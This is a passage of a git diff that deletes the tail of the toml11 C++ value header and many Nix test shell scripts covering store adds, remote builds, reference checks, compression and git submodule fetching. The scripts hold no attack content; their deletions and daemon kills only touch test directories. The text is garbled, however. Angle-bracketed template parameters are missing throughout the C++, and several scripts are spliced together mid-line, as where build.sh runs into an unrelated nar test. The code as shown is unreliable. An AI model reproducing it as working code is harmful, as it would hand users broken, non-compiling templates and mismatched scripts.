- lhs.comments() < rhs.comments()); - } - case value_t::array : - { - return lhs.as_array() < rhs.as_array() || - (lhs.as_array() == rhs.as_array() && - lhs.comments() < rhs.comments()); - } - case value_t::table : - { - return lhs.as_table() < rhs.as_table() || - (lhs.as_table() == rhs.as_table() && - lhs.comments() < rhs.comments()); - } - case value_t::empty : - { - return lhs.comments() < rhs.comments(); - } - default: - { - return lhs.comments() < rhs.comments(); - } - } -} - -template class T, template class A> -typename std::enable_if::array_type>, - detail::is_comparable::table_type> - >::value, bool>::type -operator<=(const basic_value& lhs, const basic_value& rhs) -{ - return (lhs < rhs) || (lhs == rhs); -} -template class T, template class A> -typename std::enable_if::array_type>, - detail::is_comparable::table_type> - >::value, bool>::type -operator>(const basic_value& lhs, const basic_value& rhs) -{ - return !(lhs <= rhs); -} -template class T, template class A> -typename std::enable_if::array_type>, - detail::is_comparable::table_type> - >::value, bool>::type -operator>=(const basic_value& lhs, const basic_value& rhs) -{ - return !(lhs < rhs); -} - -template class T, template class A> -inline std::string format_error(const std::string& err_msg, - const basic_value& v, const std::string& comment, - std::vector hints = {}, - const bool colorize = TOML11_ERROR_MESSAGE_COLORIZED) -{ - return detail::format_underline(err_msg, {{v.location(), comment}}, - std::move(hints), colorize); -} - -template class T, template class A> -inline std::string format_error(const std::string& err_msg, - const toml::basic_value& v1, const std::string& comment1, - const toml::basic_value& v2, const std::string& comment2, - std::vector hints = {}, - const bool colorize = TOML11_ERROR_MESSAGE_COLORIZED) -{ - return detail::format_underline(err_msg, { - {v1.location(), comment1}, {v2.location(), comment2} - }, std::move(hints), colorize); -} - -template class T, template class A> -inline std::string format_error(const std::string& err_msg, - const toml::basic_value& v1, const std::string& comment1, - const toml::basic_value& v2, const std::string& comment2, - const toml::basic_value& v3, const std::string& comment3, - std::vector hints = {}, - const bool colorize = TOML11_ERROR_MESSAGE_COLORIZED) -{ - return detail::format_underline(err_msg, {{v1.location(), comment1}, - {v2.location(), comment2}, {v3.location(), comment3} - }, std::move(hints), colorize); -} - -template class T, template class A> -detail::return_type_of_t -visit(Visitor&& visitor, const toml::basic_value& v) -{ - switch(v.type()) - { - case value_t::boolean : {return visitor(v.as_boolean ());} - case value_t::integer : {return visitor(v.as_integer ());} - case value_t::floating : {return visitor(v.as_floating ());} - case value_t::string : {return visitor(v.as_string ());} - case value_t::offset_datetime: {return visitor(v.as_offset_datetime());} - case value_t::local_datetime : {return visitor(v.as_local_datetime ());} - case value_t::local_date : {return visitor(v.as_local_date ());} - case value_t::local_time : {return visitor(v.as_local_time ());} - case value_t::array : {return visitor(v.as_array ());} - case value_t::table : {return visitor(v.as_table ());} - case value_t::empty : break; - default: break; - } - throw std::runtime_error(format_error("[error] toml::visit: toml::basic_value " - "does not have any valid basic_value.", v, "here")); -} - -template class T, template class A> -detail::return_type_of_t -visit(Visitor&& visitor, toml::basic_value& v) -{ - switch(v.type()) - { - case value_t::boolean : {return visitor(v.as_boolean ());} - case value_t::integer : {return visitor(v.as_integer ());} - case value_t::floating : {return visitor(v.as_floating ());} - case value_t::string : {return visitor(v.as_string ());} - case value_t::offset_datetime: {return visitor(v.as_offset_datetime());} - case value_t::local_datetime : {return visitor(v.as_local_datetime ());} - case value_t::local_date : {return visitor(v.as_local_date ());} - case value_t::local_time : {return visitor(v.as_local_time ());} - case value_t::array : {return visitor(v.as_array ());} - case value_t::table : {return visitor(v.as_table ());} - case value_t::empty : break; - default: break; - } - throw std::runtime_error(format_error("[error] toml::visit: toml::basic_value " - "does not have any valid basic_value.", v, "here")); -} - -template class T, template class A> -detail::return_type_of_t -visit(Visitor&& visitor, toml::basic_value&& v) -{ - switch(v.type()) - { - case value_t::boolean : {return visitor(std::move(v.as_boolean ()));} - case value_t::integer : {return visitor(std::move(v.as_integer ()));} - case value_t::floating : {return visitor(std::move(v.as_floating ()));} - case value_t::string : {return visitor(std::move(v.as_string ()));} - case value_t::offset_datetime: {return visitor(std::move(v.as_offset_datetime()));} - case value_t::local_datetime : {return visitor(std::move(v.as_local_datetime ()));} - case value_t::local_date : {return visitor(std::move(v.as_local_date ()));} - case value_t::local_time : {return visitor(std::move(v.as_local_time ()));} - case value_t::array : {return visitor(std::move(v.as_array ()));} - case value_t::table : {return visitor(std::move(v.as_table ()));} - case value_t::empty : break; - default: break; - } - throw std::runtime_error(format_error("[error] toml::visit: toml::basic_value " - "does not have any valid basic_value.", v, "here")); -} - -}// toml -#endif// TOML11_VALUE diff --git a/tests/add.sh b/tests/add.sh deleted file mode 100644 index 5c3eed793..000000000 --- a/tests/add.sh +++ /dev/null @@ -1,28 +0,0 @@ -source common.sh - -path1=$(nix-store --add ./dummy) -echo $path1 - -path2=$(nix-store --add-fixed sha256 --recursive ./dummy) -echo $path2 - -if test "$path1" != "$path2"; then - echo "nix-store --add and --add-fixed mismatch" - exit 1 -fi - -path3=$(nix-store --add-fixed sha256 ./dummy) -echo $path3 -test "$path1" != "$path3" || exit 1 - -path4=$(nix-store --add-fixed sha1 --recursive ./dummy) -echo $path4 -test "$path1" != "$path4" || exit 1 - -hash1=$(nix-store -q --hash $path1) -echo $hash1 - -hash2=$(nix-hash --type sha256 --base32 ./dummy) -echo $hash2 - -test "$hash1" = "sha256:$hash2" diff --git a/tests/bad.tar.xz b/tests/bad.tar.xz deleted file mode 100644 index 250a5ad1a..000000000 Binary files a/tests/bad.tar.xz and /dev/null differ diff --git a/tests/brotli.sh b/tests/brotli.sh deleted file mode 100644 index dc9bbdb66..000000000 --- a/tests/brotli.sh +++ /dev/null @@ -1,21 +0,0 @@ -source common.sh - -clearStore -clearCache - -cacheURI="file://$cacheDir?compression=br" - -outPath=$(nix-build dependencies.nix --no-out-link) - -nix copy --to $cacheURI $outPath - -HASH=$(nix hash path $outPath) - -clearStore -clearCacheCache - -nix copy --from $cacheURI $outPath --no-check-sigs - -HASH2=$(nix hash path $outPath) - -[[ $HASH = $HASH2 ]] diff --git a/tests/build-hook-ca-floating.nix b/tests/build-hook-ca-floating.nix deleted file mode 100644 index 67295985f..000000000 --- a/tests/build-hook-ca-floating.nix +++ /dev/null @@ -1,53 +0,0 @@ -{ busybox }: - -with import ./config.nix; - -let - - mkDerivation = args: - derivation ({ - inherit system; - builder = busybox; - args = ["sh" "-e" args.builder or (builtins.toFile "builder-${args.name}.sh" "if [ -e .attrs.sh ]; then source .attrs.sh; fi; eval \"$buildCommand\"")]; - outputHashMode = "recursive"; - outputHashAlgo = "sha256"; - __contentAddressed = true; - } // removeAttrs args ["builder" "meta"]) - // { meta = args.meta or {}; }; - - input1 = mkDerivation { - shell = busybox; - name = "build-remote-input-1"; - buildCommand = "echo FOO > $out"; - requiredSystemFeatures = ["foo"]; - }; - - input2 = mkDerivation { - shell = busybox; - name = "build-remote-input-2"; - buildCommand = "echo BAR > $out"; - requiredSystemFeatures = ["bar"]; - }; - - input3 = mkDerivation { - shell = busybox; - name = "build-remote-input-3"; - buildCommand = '' - read x < ${input2} - echo $x BAZ > $out - ''; - requiredSystemFeatures = ["baz"]; - }; - -in - - mkDerivation { - shell = busybox; - name = "build-remote"; - buildCommand = - '' - read x < ${input1} - read y < ${input3} - echo "$x $y" > $out - ''; - } diff --git a/tests/build-remote.sh b/tests/build-remote.sh deleted file mode 100644 index e73c37ea4..000000000 --- a/tests/build-remote.sh +++ /dev/null @@ -1,85 +0,0 @@ -if ! canUseSandbox; then exit 99; fi -if ! [[ $busybox =~ busybox ]]; then exit 99; fi - -unset NIX_STORE_DIR -unset NIX_STATE_DIR - -function join_by { local d=$1; shift; echo -n "$1"; shift; printf "%s" "${@/#/$d}"; } - -EXTRA_SYSTEM_FEATURES=() -if [[ -n "$CONTENT_ADDRESSED" ]]; then - EXTRA_SYSTEM_FEATURES=("ca-derivations") -fi - -builders=( - # system-features will automatically be added to the outer URL, but not inner - # remote-store URL. - "ssh://localhost?remote-store=$TEST_ROOT/machine1?system-features=$(join_by "%20" foo ${EXTRA_SYSTEM_FEATURES[@]}) - - 1 1 $(join_by "," foo ${EXTRA_SYSTEM_FEATURES[@]})" - "$TEST_ROOT/machine2 - - 1 1 $(join_by "," bar ${EXTRA_SYSTEM_FEATURES[@]})" - "ssh-ng://localhost?remote-store=$TEST_ROOT/machine3?system-features=$(join_by "%20" baz ${EXTRA_SYSTEM_FEATURES[@]}) - - 1 1 $(join_by "," baz ${EXTRA_SYSTEM_FEATURES[@]})" -) - -chmod -R +w $TEST_ROOT/machine* || true -rm -rf $TEST_ROOT/machine* || true - -# Note: ssh://localhost bypasses ssh, directly invoking nix-store as a -# child process. This allows us to test LegacySSHStore::buildDerivation(). -# ssh-ng://... likewise allows us to test RemoteStore::buildDerivation(). -nix build -L -v -f $file -o $TEST_ROOT/result --max-jobs 0 \ - --arg busybox $busybox \ - --store $TEST_ROOT/machine0 \ - --builders "$(join_by '; ' "${builders[@]}")" - -outPath=$(readlink -f $TEST_ROOT/result) - -grep 'FOO BAR BAZ' $TEST_ROOT/machine0/$outPath - -testPrintOutPath=$(nix build -L -v -f $file --no-link --print-out-paths --max-jobs 0 \ - --arg busybox $busybox \ - --store $TEST_ROOT/machine0 \ - --builders "$(join_by '; ' "${builders[@]}")" -) - -[[ $testPrintOutPath =~ store.*build-remote ]] - -set -o pipefail - -# Ensure that input1 was built on store1 due to the required feature. -nix path-info --store $TEST_ROOT/machine1 --all \ - | grep builder-build-remote-input-1.sh \ - | grep -v builder-build-remote-input-2.sh \ - | grep -v builder-build-remote-input-3.sh - -# Ensure that input2 was built on store2 due to the required feature. -nix path-info --store $TEST_ROOT/machine2 --all \ - | grep -v builder-build-remote-input-1.sh \ - | grep builder-build-remote-input-2.sh \ - | grep -v builder-build-remote-input-3.sh - -# Ensure that input3 was built on store3 due to the required feature. -nix path-info --store $TEST_ROOT/machine3 --all \ - | grep -v builder-build-remote-input-1.sh \ - | grep -v builder-build-remote-input-2.sh \ - | grep builder-build-remote-input-3.sh - - -# Temporarily disabled because of https://github.com/NixOS/nix/issues/6209 -if [[ -z "$CONTENT_ADDRESSED" ]]; then - for i in input1 input3; do - nix log --store $TEST_ROOT/machine0 --file "$file" --arg busybox $busybox passthru."$i" | grep hi-$i - done -fi - -# Behavior of keep-failed -out="$(nix-build 2>&1 failing.nix \ - --no-out-link \ - --builders "$(join_by '; ' "${builders[@]}")" \ - --keep-failed \ - --store $TEST_ROOT/machine0 \ - -j0 \ - --arg busybox $busybox)" || true - -[[ "$out" =~ .*"note: keeping build directory".* ]] - -build_dir="$(grep "note: keeping build" <<< "$out" | sed -E "s/^(.*)note: keeping build directory '(.*)'(.*)$/\2/")" -[[ "foo" = $(<"$build_dir"/bar) ]] diff --git a/tests/build.sh b/tests/build.sh deleted file mode 100644 index 036fb037e..000000000 --- a/tests/build.sh +++ /dev/null @@ -1,167 +0,0 @@ -source common.sh - -clearStore - -set -o pipefail - -# Make sure that 'nix build' returns all outputs by default. -nix build -f multiple-outputs.nix --json a b --no-link | jq --exit-status ' - (.[0] | - (.drvPath | match(".*multiple-outputs-a.drv")) and - (.outputs | - (keys | length == 2) and - (.first | match(".*multiple-outputs-a-first")) and - (.second | match(".*multiple-outputs-a-second")))) - and (.[1] | - (.drvPath | match(".*multiple-outputs-b.drv")) and - (.outputs | - (keys | length == 1) and - (.out | match(".*multiple-outputs-b")))) -' - -# Test output selection using the '^' syntax. -nix build -f multiple-outputs.nix --json a^first --no-link | jq --exit-status ' - (.[0] | - (.drvPath | match(".*multiple-outputs-a.drv")) and - (.outputs | keys == ["first"])) -' - -nix build -f multiple-outputs.nix --json a^second,first --no-link | jq --exit-status ' - (.[0] | - (.drvPath | match(".*multiple-outputs-a.drv")) and - (.outputs | keys == ["first", "second"])) -' - -nix build -f multiple-outputs.nix --json 'a^*' --no-link | jq --exit-status ' - (.[0] | - (.drvPath | match(".*multiple-outputs-a.drv")) and - (.outputs | keys == ["first", "second"])) -' - -# Test that 'outputsToInstall' is respected by default. -nix build -f multiple-outputs.nix --json e --no-link | jq --exit-status ' - (.[0] | - (.drvPath | match(".*multiple-outputs-e.drv")) and - (.outputs | keys == ["a", "b"])) -' - -# But not when it's overriden. -nix build -f multiple-outputs.nix --json e^a --no-link | jq --exit-status ' - (.[0] | - (.drvPath | match(".*multiple-outputs-e.drv")) and - (.outputs | keys == ["a"])) -' - -nix build -f multiple-outputs.nix --json 'e^*' --no-link | jq --exit-status ' - (.[0] | - (.drvPath | match(".*multiple-outputs-e.drv")) and - (.outputs | keys == ["a", "b", "c"])) -' - -# Test building from raw store path to drv not expression. - -drv=$(nix eval -f multiple-outputs.nix --raw a.drvPath) -if nix build "$drv^not-an-output" --no-link --json; then - fail "'not-an-output' should fail to build" -fi - -if nix build "$drv^" --no-link --json; then - fail "'empty outputs list' should fail to build" -fi - -if nix build "$drv^*nope" --no-link --json; then - fail "'* must be entire string' should fail to build" -fi - -nix build "$drv^first" --no-link --json | jq --exit-status ' - (.[0] | - (.drvPath | match(".*multiple-outputs-a.drv")) and - (.outputs | - (keys | length == 1) and - (.first | match(".*multiple-outputs-a-first")) and - (has("second") | not))) -' - -nix build "$drv^first,second" --no-link --json | jq --exit-status ' - (.[0] | - (.drvPath | match(".*multiple-outputs-a.drv")) and - (.outputs | - (keys | length == 2) and - (.first | match(".*multiple-outputs-a-first")) and - (.second | match(".*multiple-outputs-a-second")))) -' - -nix build "$drv^*" --no-link --json | jq --exit-status ' - (.[0] | - (.drvPath | match(".*multiple-outputs-a.drv")) and - (.outputs | - (keys | length == 2) and - (.first | match(".*multiple-outputs-a-first")) and - (.second | match(".*multiple-outputs-a-second")))) -' - -# Make sure that `--impure` works (regression test for https://github.com/NixOS/nix/issues/6488) -nix build --impure -f multiple-outputs.nix --json e --no-link | jq --exit-status ' - (.[0] | - (.drvPath | match(".*multiple-outputs-e.drv")) and - (.outputs | keys == ["a", "b"])) -' - -testNormalization () { - clearStore - outPath=$(nix-build ./simple.nix --no-out-link) - test "$(stat -c %Y $outPath)" -eq 1 -} - -testNormalization - -# https://github.com/NixOS/nix/issues/6572 -issue_6572_independent_outputs() { - nix build -f multiple-outputs.nix --json independent --no-link > $TEST_ROOT/independent.json - - # Make sure that 'nix build' can build a derivation that depends on both outputs of another derivation. - p=$(nix build -f multiple-outputs.nix use-independent --no-link --print-out-paths) - nix-store --delete "$p" # Clean up for next test - - # Make sure that 'nix build' tracks input-outputs correctly when a single output is already present. - nix-store --delete "$(jq -r <$TEST_ROOT/independent.json .[0].outputs.first)" - p=$(nix build -f multiple-outputs.nix use-independent --no-link --print-out-paths) - cmp $p < $TEST_ROOT/a.json - - # # Make sure that 'nix build' can build a derivation that depends on both outputs of another derivation. - p=$(nix build -f multiple-outputs.nix use-a --no-link --print-out-paths) - nix-store --delete "$p" # Clean up for next test - - # Make sure that 'nix build' tracks input-outputs correctly when a single output is already present. - nix-store --delete "$(jq -r <$TEST_ROOT/a.json .[0].outputs.second)" - p=$(nix build -f multiple-outputs.nix use-a --no-link --print-out-paths) - cmp $p < $TEST_ROOT/case.nar -cmp case.nar $TEST_ROOT/case.nar -[ "$(nix-hash $opts --type sha256 $TEST_ROOT/case)" = "$(nix-hash --flat --type sha256 case.nar)" ] - -# Check whether we detect true collisions (e.g. those remaining after -# removal of the suffix). -touch "$TEST_ROOT/case/xt_CONNMARK.h~nix~case~hack~3" -(! nix-store $opts --dump $TEST_ROOT/case > /dev/null) diff --git a/tests/check-refs.sh b/tests/check-refs.sh deleted file mode 100644 index 16bbabc40..000000000 --- a/tests/check-refs.sh +++ /dev/null @@ -1,42 +0,0 @@ -source common.sh - -clearStore - -RESULT=$TEST_ROOT/result - -dep=$(nix-build -o $RESULT check-refs.nix -A dep) - -# test1 references dep, not itself. -test1=$(nix-build -o $RESULT check-refs.nix -A test1) -(! nix-store -q --references $test1 | grep -q $test1) -nix-store -q --references $test1 | grep -q $dep - -# test2 references src, not itself nor dep. -test2=$(nix-build -o $RESULT check-refs.nix -A test2) -(! nix-store -q --references $test2 | grep -q $test2) -(! nix-store -q --references $test2 | grep -q $dep) -nix-store -q --references $test2 | grep -q aux-ref - -# test3 should fail (unallowed ref). -(! nix-build -o $RESULT check-refs.nix -A test3) - -# test4 should succeed. -nix-build -o $RESULT check-refs.nix -A test4 - -# test5 should succeed. -nix-build -o $RESULT check-refs.nix -A test5 - -# test6 should fail (unallowed self-ref). -(! nix-build -o $RESULT check-refs.nix -A test6) - -# test7 should succeed (allowed self-ref). -nix-build -o $RESULT check-refs.nix -A test7 - -# test8 should fail (toFile depending on derivation output). -(! nix-build -o $RESULT check-refs.nix -A test8) - -# test9 should fail (disallowed reference). -(! nix-build -o $RESULT check-refs.nix -A test9) - -# test10 should succeed (no disallowed references). -nix-build -o $RESULT check-refs.nix -A test10 diff --git a/tests/check-reqs.sh b/tests/check-reqs.sh deleted file mode 100644 index e9f65fc2a..000000000 --- a/tests/check-reqs.sh +++ /dev/null @@ -1,16 +0,0 @@ -source common.sh - -clearStore - -RESULT=$TEST_ROOT/result - -nix-build -o $RESULT check-reqs.nix -A test1 - -(! nix-build -o $RESULT check-reqs.nix -A test2) -(! nix-build -o $RESULT check-reqs.nix -A test3) -(! nix-build -o $RESULT check-reqs.nix -A test4) 2>&1 | grep -q 'check-reqs-dep1' -(! nix-build -o $RESULT check-reqs.nix -A test4) 2>&1 | grep -q 'check-reqs-dep2' -(! nix-build -o $RESULT check-reqs.nix -A test5) -(! nix-build -o $RESULT check-reqs.nix -A test6) - -nix-build -o $RESULT check-reqs.nix -A test7 diff --git a/tests/common.sh.in b/tests/common.sh.in deleted file mode 100644 index 73c2d2309..000000000 --- a/tests/common.sh.in +++ /dev/null @@ -1,204 +0,0 @@ -set -e - -if [[ -z "$COMMON_SH_SOURCED" ]]; then - -COMMON_SH_SOURCED=1 - -export TEST_ROOT=$(realpath ${TMPDIR:-/tmp}/nix-test)/${TEST_NAME:-default} -export NIX_STORE_DIR -if ! NIX_STORE_DIR=$(readlink -f $TEST_ROOT/store 2> /dev/null); then - # Maybe the build directory is symlinked. - export NIX_IGNORE_SYMLINK_STORE=1 - NIX_STORE_DIR=$TEST_ROOT/store -fi -export NIX_LOCALSTATE_DIR=$TEST_ROOT/var -export NIX_LOG_DIR=$TEST_ROOT/var/log/nix -export NIX_STATE_DIR=$TEST_ROOT/var/nix -export NIX_CONF_DIR=$TEST_ROOT/etc -export NIX_DAEMON_SOCKET_PATH=$TEST_ROOT/dSocket -unset NIX_USER_CONF_FILES -export _NIX_TEST_SHARED=$TEST_ROOT/shared -if [[ -n $NIX_STORE ]]; then - export _NIX_TEST_NO_SANDBOX=1 -fi -export _NIX_IN_TEST=$TEST_ROOT/shared -export _NIX_TEST_NO_LSOF=1 -export NIX_REMOTE=$NIX_REMOTE_ -unset NIX_PATH -export TEST_HOME=$TEST_ROOT/test-home -export HOME=$TEST_HOME -unset XDG_CONFIG_HOME -unset XDG_CONFIG_DIRS -unset XDG_CACHE_HOME -mkdir -p $TEST_HOME - -export PATH=@bindir@:$PATH -if [[ -n "${NIX_CLIENT_PACKAGE:-}" ]]; then - export PATH="$NIX_CLIENT_PACKAGE/bin":$PATH -fi -DAEMON_PATH="$PATH" -if [[ -n "${NIX_DAEMON_PACKAGE:-}" ]]; then - DAEMON_PATH="${NIX_DAEMON_PACKAGE}/bin:$DAEMON_PATH" -fi -coreutils=@coreutils@ - -export dot=@dot@ -export SHELL="@bash@" -export PAGER=cat -export busybox="@sandbox_shell@" - -export version=@PACKAGE_VERSION@ -export system=@system@ - -export BUILD_SHARED_LIBS=@BUILD_SHARED_LIBS@ - -export IMPURE_VAR1=foo -export IMPURE_VAR2=bar - -cacheDir=$TEST_ROOT/binary-cache - -readLink() { - ls -l "$1" | sed 's/.*->\ //' -} - -clearProfiles() { - profiles="$NIX_STATE_DIR"/profiles - rm -rf $profiles -} - -clearStore() { - echo "clearing store..." - chmod -R +w "$NIX_STORE_DIR" - rm -rf "$NIX_STORE_DIR" - mkdir "$NIX_STORE_DIR" - rm -rf "$NIX_STATE_DIR" - mkdir "$NIX_STATE_DIR" - clearProfiles -} - -clearCache() { - rm -rf "$cacheDir" -} - -clearCacheCache() { - rm -f $TEST_HOME/.cache/nix/binary-cache* -} - -startDaemon() { - # Don’t start the daemon twice, as this would just make it loop indefinitely - if [[ "$NIX_REMOTE" == daemon ]]; then - return - fi - # Start the daemon, wait for the socket to appear. - rm -f $NIX_DAEMON_SOCKET_PATH - PATH=$DAEMON_PATH nix-daemon& - pidDaemon=$! - for ((i = 0; i < 300; i++)); do - if [[ -S $NIX_DAEMON_SOCKET_PATH ]]; then - DAEMON_STARTED=1 - break; - fi - sleep 0.1 - done - if [[ -z ${DAEMON_STARTED+x} ]]; then - fail "Didn’t manage to start the daemon" - fi - trap "killDaemon" EXIT - export NIX_REMOTE=daemon -} - -killDaemon() { - kill $pidDaemon - for i in {0..100}; do - kill -0 $pidDaemon 2> /dev/null || break - sleep 0.1 - done - kill -9 $pidDaemon 2> /dev/null || true - wait $pidDaemon || true - trap "" EXIT -} - -restartDaemon() { - [[ -z "${pidDaemon:-}" ]] && return 0 - - killDaemon - unset NIX_REMOTE - startDaemon -} - -if [[ $(uname) == Linux ]] && [[ -L /proc/self/ns/user ]] && unshare --user true; then - _canUseSandbox=1 -fi - -isDaemonNewer () { - [[ -n "${NIX_DAEMON_PACKAGE:-}" ]] || return 0 - local requiredVersion="$1" - local daemonVersion=$($NIX_DAEMON_PACKAGE/bin/nix-daemon --version | cut -d' ' -f3) - [[ $(nix eval --expr "builtins.compareVersions ''$daemonVersion'' ''$requiredVersion''") -ge 0 ]] -} - -requireDaemonNewerThan () { - isDaemonNewer "$1" || exit 99 -} - -canUseSandbox() { - if [[ ! $_canUseSandbox ]]; then - echo "Sandboxing not supported, skipping this test..." - return 1 - fi - - return 0 -} - -fail() { - echo "$1" - exit 1 -} - -expect() { - local expected res - expected="$1" - shift - "$@" || res="$?" - if [[ $res -ne $expected ]]; then - echo "Expected '$expected' but got '$res' while running '$*'" - return 1 - fi - return 0 -} - -needLocalStore() { - if [[ "$NIX_REMOTE" == "daemon" ]]; then - echo "Can’t run through the daemon ($1), skipping this test..." - return 99 - fi -} - -# Just to make it easy to find which tests should be fixed -buggyNeedLocalStore() { - needLocalStore -} - -enableFeatures() { - local features="$1" - sed -i 's/experimental-features .*/& '"$features"'/' "$NIX_CONF_DIR"/nix.conf -} - -set -x - -if [[ -n "${NIX_DAEMON_PACKAGE:-}" ]]; then - startDaemon -fi - -onError() { - set +x - echo "$0: test failed at:" >&2 - for ((i = 1; i < ${#BASH_SOURCE[@]}; i++)); do - if [[ -z ${BASH_SOURCE[i]} ]]; then break; fi - echo " ${FUNCNAME[i]} in ${BASH_SOURCE[i]}:${BASH_LINENO[i-1]}" >&2 - done -} - -trap onError ERR - -fi # COMMON_SH_SOURCED diff --git a/tests/compression-levels.sh b/tests/compression-levels.sh deleted file mode 100644 index 85f12974a..000000000 --- a/tests/compression-levels.sh +++ /dev/null @@ -1,22 +0,0 @@ -source common.sh - -clearStore -clearCache - -outPath=$(nix-build dependencies.nix --no-out-link) - -cacheURI="file://$cacheDir?compression=xz&compression-level=0" - -nix copy --to $cacheURI $outPath - -FILESIZES=$(cat ${cacheDir}/*.narinfo | awk '/FileSize: /{sum+=$2}END{print sum}') - -clearCache - -cacheURI="file://$cacheDir?compression=xz&compression-level=5" - -nix copy --to $cacheURI $outPath - -FILESIZES2=$(cat ${cacheDir}/*.narinfo | awk '/FileSize: /{sum+=$2}END{print sum}') - -[[ $FILESIZES -gt $FILESIZES2 ]] diff --git a/tests/dependencies.sh b/tests/dependencies.sh deleted file mode 100644 index 092950aa7..000000000 --- a/tests/dependencies.sh +++ /dev/null @@ -1,52 +0,0 @@ -source common.sh - -clearStore - -drvPath=$(nix-instantiate dependencies.nix) - -echo "derivation is $drvPath" - -nix-store -q --tree "$drvPath" | grep '───.*builder-dependencies-input-1.sh' - -# Test Graphviz graph generation. -nix-store -q --graph "$drvPath" > $TEST_ROOT/graph -if test -n "$dot"; then - # Does it parse? - $dot < $TEST_ROOT/graph -fi - -outPath=$(nix-store -rvv "$drvPath") || fail "build failed" - -# Test Graphviz graph generation. -nix-store -q --graph "$outPath" > $TEST_ROOT/graph -if test -n "$dot"; then - # Does it parse? - $dot < $TEST_ROOT/graph -fi - -nix-store -q --tree "$outPath" | grep '───.*dependencies-input-2' - -echo "output path is $outPath" - -text=$(cat "$outPath"/foobar) -if test "$text" != "FOOBAR"; then exit 1; fi - -deps=$(nix-store -quR "$drvPath") - -echo "output closure contains $deps" - -# The output path should be in the closure. -echo "$deps" | grep -q "$outPath" - -# Input-1 is not retained. -if echo "$deps" | grep -q "dependencies-input-1"; then exit 1; fi - -# Input-2 is retained. -input2OutPath=$(echo "$deps" | grep "dependencies-input-2") - -# The referrers closure of input-2 should include outPath. -nix-store -q --referrers-closure "$input2OutPath" | grep "$outPath" - -# Check that the derivers are set properly. -test $(nix-store -q --deriver "$outPath") = "$drvPath" -nix-store -q --deriver "$input2OutPath" | grep -q -- "-input-2.drv" diff --git a/tests/describe-stores.sh b/tests/describe-stores.sh deleted file mode 100644 index 3fea61483..000000000 --- a/tests/describe-stores.sh +++ /dev/null @@ -1,8 +0,0 @@ -source common.sh - -# Query an arbitrary value in `nix describe-stores --json`'s output just to -# check that it has the right structure -[[ $(nix --experimental-features 'nix-command flakes' describe-stores --json | jq '.["SSH Store"]["compress"]["defaultValue"]') == false ]] - -# Ensure that the output of `nix describe-stores` isn't empty -[[ -n $(nix --experimental-features 'nix-command flakes' describe-stores) ]] diff --git a/tests/eval-store.sh b/tests/eval-store.sh deleted file mode 100644 index 679da5741..000000000 --- a/tests/eval-store.sh +++ /dev/null @@ -1,30 +0,0 @@ -source common.sh - -# Using `--eval-store` with the daemon will eventually copy everything -# to the build store, invalidating most of the tests here -needLocalStore - -eval_store=$TEST_ROOT/eval-store - -clearStore -rm -rf "$eval_store" - -nix build -f dependencies.nix --eval-store "$eval_store" -o "$TEST_ROOT/result" -[[ -e $TEST_ROOT/result/foobar ]] -(! ls $NIX_STORE_DIR/*.drv) -ls $eval_store/nix/store/*.drv - -clearStore -rm -rf "$eval_store" - -nix-instantiate dependencies.nix --eval-store "$eval_store" -(! ls $NIX_STORE_DIR/*.drv) -ls $eval_store/nix/store/*.drv - -clearStore -rm -rf "$eval_store" - -nix-build dependencies.nix --eval-store "$eval_store" -o "$TEST_ROOT/result" -[[ -e $TEST_ROOT/result/foobar ]] -(! ls $NIX_STORE_DIR/*.drv) -ls $eval_store/nix/store/*.drv diff --git a/tests/eval.sh b/tests/eval.sh deleted file mode 100644 index ffae08a6a..000000000 --- a/tests/eval.sh +++ /dev/null @@ -1,35 +0,0 @@ -source common.sh - -clearStore - -testStdinHeredoc=$(nix eval -f - <&1 | grep "error: rewriting.*$nonCaPath.*yielded.*$caPath" - -# If fromPath is CA, then toPath isn't needed. -nix copy --to file://$cacheDir $caPath - -[[ $(nix eval -v --raw --expr " - builtins.fetchClosure { - fromStore = \"file://$cacheDir\"; - fromPath = $caPath; - } -") = $caPath ]] - -# Check that URL query parameters aren't allowed. -clearStore -narCache=$TEST_ROOT/nar-cache -rm -rf $narCache -(! nix eval -v --raw --expr " - builtins.fetchClosure { - fromStore = \"file://$cacheDir?local-nar-cache=$narCache\"; - fromPath = $caPath; - } -") -(! [ -e $narCache ]) diff --git a/tests/fetchGitSubmodules.sh b/tests/fetchGitSubmodules.sh deleted file mode 100644 index 5f104355f..000000000 --- a/tests/fetchGitSubmodules.sh +++ /dev/null @@ -1,97 +0,0 @@ -source common.sh - -set -u - -if [[ -z $(type -p git) ]]; then - echo "Git not installed; skipping Git submodule tests" - exit 99 -fi - -clearStore - -rootRepo=$TEST_ROOT/gitSubmodulesRoot -subRepo=$TEST_ROOT/gitSubmodulesSub - -rm -rf ${rootRepo} ${subRepo} $TEST_HOME/.cache/nix - -initGitRepo() { - git init $1 - git -C $1 config user.email "foobar@example.com" - git -C $1 config user.name "Foobar" -} - -addGitContent() { - echo "lorem ipsum" > $1/content - git -C $1 add content - git -C $1 commit -m "Initial commit" -} - -initGitRepo $subRepo -addGitContent $subRepo - -initGitRepo $rootRepo - -git -C $rootRepo submodule init -git -C $rootRepo submodule add $subRepo sub -git -C $rootRepo add sub -git -C $rootRepo commit -m "Add submodule" - -rev=$(git -C $rootRepo rev-parse HEAD) - -r1=$(nix eval --raw --expr "(builtins.fetchGit { url = file://$rootRepo; rev = \"$rev\"; }).outPath") -r2=$(nix eval --raw --expr "(builtins.fetchGit { url = file://$rootRepo; rev = \"$rev\"; submodules = false; }).outPath") -r3=$(nix eval --raw --expr "(builtins.fetchGit { url = file://$rootRepo; rev = \"$rev\"; submodules = true; }).outPath") - -[[ $r1 == $r2 ]] -[[ $r2 != $r3 ]] - -r4=$(nix eval --raw --expr "(builtins.fetchGit { url = file://$rootRepo; ref = \"master\"; rev = \"$rev\"; }).outPath") -r5=$(nix eval --raw --expr "(builtins.fetchGit { url = file://$rootRepo; ref = \"master\"; rev = \"$rev\"; submodules = false; }).outPath") -r6=$(nix eval --raw --expr "(builtins.fetchGit { url = file://$rootRepo; ref = \"master\"; rev = \"$rev\"; submodules = true; }).outPath") -r7=$(nix eval --raw --expr "(builtins.fetchGit { url = $rootRepo; ref = \"master\"; rev = \"$rev\"; submodules = true; }).outPath") -r8=$(nix eval --raw --expr "(builtins.fetchGit { url = $rootRepo; rev = \"$rev\"; submodules = true; }).outPath") - -[[ $r1 == $r4 ]] -[[ $r4 == $r5 ]] -[[ $r3 == $r6 ]] -[[ $r6 == $r7 ]] -[[ $r7 == $r8 ]] - -have_submodules=$(nix eval --expr "(builtins.fetchGit { url = $rootRepo; rev = \"$rev\"; }).submodules") 